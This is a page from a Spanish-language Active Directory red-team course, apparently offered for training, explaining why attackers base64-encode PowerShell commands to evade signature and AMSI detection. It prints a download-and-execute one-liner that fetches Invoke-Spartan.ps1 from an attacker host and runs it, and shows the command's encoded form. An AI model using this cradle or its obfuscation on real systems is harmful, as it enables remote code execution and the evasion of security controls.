Hacking en Active Directory - [CPAD-100]
Comprar cursoYouTubeTwitterLinkedIn
  • La Biblia del Hacking en ACTIVE DIRECTORY
    • ADVERTENCIA
    • Conoce a tu academia
    • Conoce a tu instructor
    • Aprende con nuestro curso
      • ¿Que Significa CPAD-100?
  • Introducción a Directorio Activo – (AD)
    • Fundamentos de AD
    • Componentes importantes de un Active Directory
    • Principales conceptos de un Directorio Activo
      • Diferencias entre GPO y ACL
    • ¿Por qué los atacantes van tras los controladores de dominio?
      • Ransomware en AD
    • Introduccion a Kerberos
      • Capa de transporte
      • Agentes
      • Claves de cifrado
      • Tickets
      • Privilege Attribute Certificate (PAC)
      • Mensajes
    • Proceso de autenticación en Kerberos
      • Kerberos Explicado con Parques y Atracciones
    • ¿Como funciona Kerberos?
    • S4U (Service for User)
    • Usuarios y grupo por defectos en AD
    • Biblia de comandos para el CPAD
  • Fundamentos Ofensivos
    • Introduccion al Curso Profesional de Pentesting para Juniors - [CPPJ]
    • ¿Qué es un Red Team?
      • Assume breach
    • ¿Qué es un Pentesting?
    • Instalacion de Kali Linux
      • Utilizando IP publica para auditorias reales
    • Transferencias de archivos
    • Cyber Kill Chain
    • MITRE
      • Ejemplo teorico
  • Enumeracion Externa
    • Credenciales expuestas
    • La importancia de la enumeracion en un red team
    • Reconocimiento y Recopilacion
    • Activos de informacion publicos
      • DNS records
      • Redes sociales
  • Vectores de ataque fisico
    • Physical Red Team Operations
    • Que es la intrusion fisica
      • Vectores de ataque
    • Rubber Ducky
    • Stuxnet
    • Introduccion a Flipper Zero
      • BadUSB
  • Introduccion Al Hacking Web
    • Tu primer Red Team contra Active Directory
      • Objetivos
      • CyberKillChain en CPAD
    • La importancia del hacking web en un red team contra AD
    • Curso gratuito con los labs de PortSwigger
    • Enumeracion sobre un servidor web desplegado en IIS
    • Inyeccion de comandos desde un formulario web
  • Post-explotacion en windows
    • Fundamentos de la Enumeracion local en un Windows
    • Enumeracion basica desde una WebShell
    • Fundamentos de escalacion de privilegios en Windows
      • ¿Que son altos privilegios en windows?
      • ¿Que son bajos privilegios en windows?
      • Identificando mis privilegios actuales
      • Tokens de acceso en Windows
      • Niveles de integridad en procesos de Windows
    • Privilegios en Windows
    • Abusando de los privilegios SeImpersonatePrivilege SeAssignPrimaryTokenPrivilege
    • Introduccion al Curso Profesional de Pentesting contra Windows - [CPPW]
    • NT AUTHORITY\SYSTEM
    • Reverse Shell en PowerShell Indetectable
      • Introduccion al Curso RedTeam Ops Developer Senior
    • Migracion de WebShell a BurpSuite
    • Migracion de WebShell a Reverse Shell via PowerShell
    • Diferencia entre una WebShell y Reverse Shell
    • Introducción a PowerUp
    • Introducción a WinPEAS
  • Persistencia en Windows Local
    • Introduccion a la post-explotación y persistencia en Windows
    • Creacion de usuarios con net
    • Qué es Mimikatz
      • LSASS
      • Extraccion de credenciales con Mimikatz con binario
      • Extraccion de credenciales con Mimikatz con PowerShell
      • Resolucion de errores con Mimikatz
      • Mimikatz en la actualidad
  • Enumeracion en AD
    • Identificando un Domain Controller (DC) en red
    • ActiveDirectoryRights en el Contexto de Red Team
    • Enumeracion manual con GUI
    • Enumeracion con PowerShell ofensivo
      • Guia de comandos de PowerView.ps1
        • Enumeracion de usuarios
        • Enumeracion de Grupos
        • Enumeracion de Computadores
        • Enumeracion de GPO
        • Enumeracion de ACL
      • Utilizando ADPeas
    • Enumeracion con AD Module DLL
    • Enumeracion con BloodHound
    • Enumeracion con klist
    • Security Identifiers (SIDs)
    • Distinguished Name o DN
  • Vulnerabilidades y ataques en AD
    • Fundamentos de vulnerabilidades en AD
    • Password Spraying
      • La importancia de generar contraseñas personalizadas
      • Kerbrute
    • Relay Attacks
      • ¿Que es NTLM?
      • Utilizando impacket-ntlmrelayx
        • Análisis de impacket-ntlmrelayx
    • Credenciales en descripcion
      • Utilizando CrackMapExec
      • Utilizando BloodHound
    • Kerberoasting
      • Utilizando BloodHound
      • Utilizando Rubeus
      • Utilizando Impacket-GetUserSPNs
      • Utilizando CrackMapExec
      • Utilizando PowerView
    • ASREProastable
      • Utilizando Rubeus
      • Utilizando CrackMapExec
      • Utilizando Impacket-GetNPUsers
      • CVE-2022-33679
    • Unconstrained Delegation
      • TrustedToAuthForDelegation vs TrustedForDelegation
    • Constrained Delegation
      • Usuario
      • Computadora
        • Utilizando Rubeus
    • DnsAdmins
      • Utilizando PowerView.ps1
      • Utilizando NET
      • Cargando una dll maliciosa con dnscmd
      • Generando una DLL maliciosa
    • LAPS Reader
    • (RBCD) Resource-based constrained
    • Abuso de ACL
      • Enumeracion con PowerView
      • Tipos de permisos
        • Tabla de Referencia de Permisos y Derechos en Active Directory
      • Access Control Entry (ACE)
      • WriteDacl sobre Computador
      • GenericAll sobre Grupo
      • GenericAll sobre usuario
      • GenericWrite sobre computador
    • Abuso de GPO
      • ¿Qué es SysVol?
      • Utilizando PowerView
      • Solicitando TGT para el usuario gpowrite.user
      • Utilizando SharpGPOAbuse
      • Forzando la actualizacion de GPO
    • Zerologon - CVE-2020-1472
  • Movimiento lateral
    • Fundamentos de movimiento lateral en AD
    • Impersonation
    • Pass-the-Hash (PtH)
      • Identificando servicios para realizar el PTH
      • Utilizando Evil-WinRm
      • Utilizando impacket-psexec
      • Utilizando RDP
  • Persistencia y post-explotacion en AD
    • Fundamentos de persistencia y la post-explotación en AD
    • DCSync
      • Extracción de Credenciales del Dominio de Active Directory
      • Utilizando CrackMapExec
      • Utilizando Mimikatz
      • Utilizando Impacket-secretsdump
    • Creacion de usuarios en el dominio con net
    • Silver Ticket
      • Service Principal Name (SPN)
      • Silver Ticket para CIFS
    • Golden Ticket
      • Diferencias entre Silver Ticket y Golden Ticket
      • ¿Que es KRBTGT?
      • Variantes del Golden Ticket
        • Golden Ticket tradicional utilizando Mimikatz
        • Golden Ticket Inter-realm TGT
    • Pass The Ticket
      • PTT en Linux
      • PTT en Windows
    • Diamond Ticket
    • Bosques y relaciones de confianza
      • TrustAttributes y TrustType
      • Enumeracion utilizando ADPeas.ps1
      • Enumeracion utilizando nltest
      • Enumeracion utilizando .NET Framework
      • Enumeracion utilizando con PowerView
      • Enumerando con SharpHound
  • Introduccion a la evasion de defensas
    • Fundamentos de evasión de defensas
    • Introduccion a UAC
      • Bypass UAC utilizando FodhelperUACBypass.ps1
      • Bypass utilizando Kerberos y SMBExec
    • Evasión de antivirus
      • Utilizando HoaxShell
    • Introduccion a LOLBAS
    • AMSI para Hackers
    • Utilizando IP publicas y dominios confiables para el almacenamiento de herramientas
    • Codificando tus comandos de PowerShell en base64
      • Transferencia de archivos con base64
    • Política de ejecución de PowerShell
    • Introduccion a Sysinternals
    • Introduccion a AppLocker
    • Apagando defensas basicas
  • Introduccion a ataques modernos en AD
    • Fundamentos de Azure Active Directory
    • DCSync utilizando MSOL
    • Introduccion al Curso de Pentesting Contra Azure - [CPAZ]
  • Introduccion al Blue Team en Active Directory
    • Blue Team y SOC
    • Introduccion al Curso Profesional de Blue Team - [CPBLT]
    • Introduccion a Sysmon
      • Deteccion de comportamiento anomalo con ElasticSearch
  • Muchas Gracias
    • 🛡️ ¡Muchísimas Gracias por Participar! 🛡️
    • Importante
Con tecnología de GitBook
En esta página

¿Te fue útil?

  1. Introduccion a la evasion de defensas

Codificando tus comandos de PowerShell en base64

La ofuscación es una técnica utilizada por los atacantes para ocultar o disfrazar el contenido verdadero de su código o comandos para evadir la detección de soluciones de seguridad. La codificación en Base64 es una forma popular de ofuscar comandos, especialmente en contextos de PowerShell. A continuación, se presentan las razones principales por las que un atacante podría optar por ofuscar sus comandos en PowerShell con Base64:

  1. Evasión de la detección: Las soluciones antimalware y los sistemas de detección de intrusiones a menudo buscan patrones específicos o firmas de comandos maliciosos conocidos. La ofuscación en Base64 puede alterar el comando lo suficiente como para que no coincida con estas firmas, permitiendo que el código evada la detección.

  2. Burlar controles de seguridad: Algunos controles de seguridad, como las políticas de ejecución de PowerShell, pueden bloquear scripts no firmados o de origen desconocido. Los atacantes pueden ofuscar y ejecutar código directamente desde la línea de comandos para evadir estos controles.

  3. AMSI Evasión: Windows 10 introdujo la Antimalware Scan Interface (AMSI) que permite que las soluciones antimalware escaneen scripts en tiempo real. Algunas técnicas de ofuscación, incluido el uso de Base64, pueden ser utilizadas para intentar evadir la detección por AMSI.

  4. Confusión y camuflaje: Al ofuscar un comando, los atacantes también pueden hacer que el análisis manual y la comprensión del código sean más difíciles. Esto puede ralentizar o dificultar el proceso de respuesta ante incidentes o la investigación forense.

  5. Ejecución uniforme: La codificación en Base64 permite a los atacantes tener una representación uniforme de los datos, lo que puede ser útil para garantizar que su código se ejecute consistentemente, independientemente del sistema o del contexto en el que se esté ejecutando.

  6. Incorporación de cargas útiles: Los atacantes a menudo necesitan incorporar cargas útiles dentro de otros scripts o documentos. La codificación Base64 permite que estas cargas útiles se representen como cadenas simples, lo que facilita su inclusión.

root@kali=> echo -n 'IEX (new-object net.webclient).downloadstring("http://192.168.45.165/Invoke-Spartan.ps1")' | iconv -t UTF-16LE | base64 -w 0

SQBFAFgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADEANgA1AC8ASQBuAHYAbwBrAGUALQBTAHAAYQByAHQAYQBuAC4AcABzADEAIgApAA==                   

Desglosando el Comando previo

  1. Parte PowerShell:

    IEX (new-object net.webclient).downloadstring("http://192.168.45.165/Invoke-Spartan.ps1")
    • IEX: Es un alias para Invoke-Expression en PowerShell, que toma una cadena y la ejecuta como código.

    • new-object net.webclient: Crea un nuevo objeto WebClient, utilizado para realizar descargas de datos a través de HTTP.

    • .downloadstring("http://192.168.45.165/Invoke-Spartan.ps1"): Usa el objeto WebClient para descargar el contenido de la URL especificada como una cadena.

    • En conjunto, este fragmento de código descarga un script de PowerShell (Invoke-Spartan.ps1) de un servidor remoto y lo ejecuta inmediatamente en la máquina local.

  2. Parte Bash:

    echo -n 'IEX ...' | iconv -t UTF-16LE | base64 -w 0
    • echo -n 'IEX ...': Imprime la cadena (que es el código PowerShell) sin añadir un nuevo línea al final.

    • |: Es un pipe, que toma la salida del comando anterior y la usa como entrada para el siguiente comando.

    • iconv -t UTF-16LE: Usa iconv para convertir la cadena a UTF-16LE. PowerShell utiliza por defecto la codificación UTF-16LE para sus scripts codificados en Base64.

    • base64 -w 0: Codifica la cadena convertida en Base64 sin dividirla en múltiples líneas (-w 0 significa "no hacer wraps" o "no dividir en líneas").

Análisis del Comando

  • Objetivo del Comando:

    • Este comando está diseñado para ser utilizado en ataques, específicamente para ejecutar scripts de PowerShell remotamente y de una manera que pueda ser más discreta o evasiva respecto a ciertos controles de seguridad.

    • El código de PowerShell es codificado en Base64 y puede ser ejecutado luego en una máquina objetivo utilizando una técnica que decodifique y ejecute la cadena Base64, evitando así la detección de ciertas soluciones de seguridad basadas en firmas.

  • Uso en Ataques:

    • En escenarios de ataque, un atacante podría utilizar este comando para ejecutar un payload malicioso en una máquina remota.

    • Invoke-Spartan.ps1 podría ser un script que realice acciones maliciosas, como establecer una shell reversa, descargar más payloads, o realizar acciones en la máquina víctima.

AnteriorUtilizando IP publicas y dominios confiables para el almacenamiento de herramientasSiguienteTransferencia de archivos con base64

Última actualización hace 9 meses

¿Te fue útil?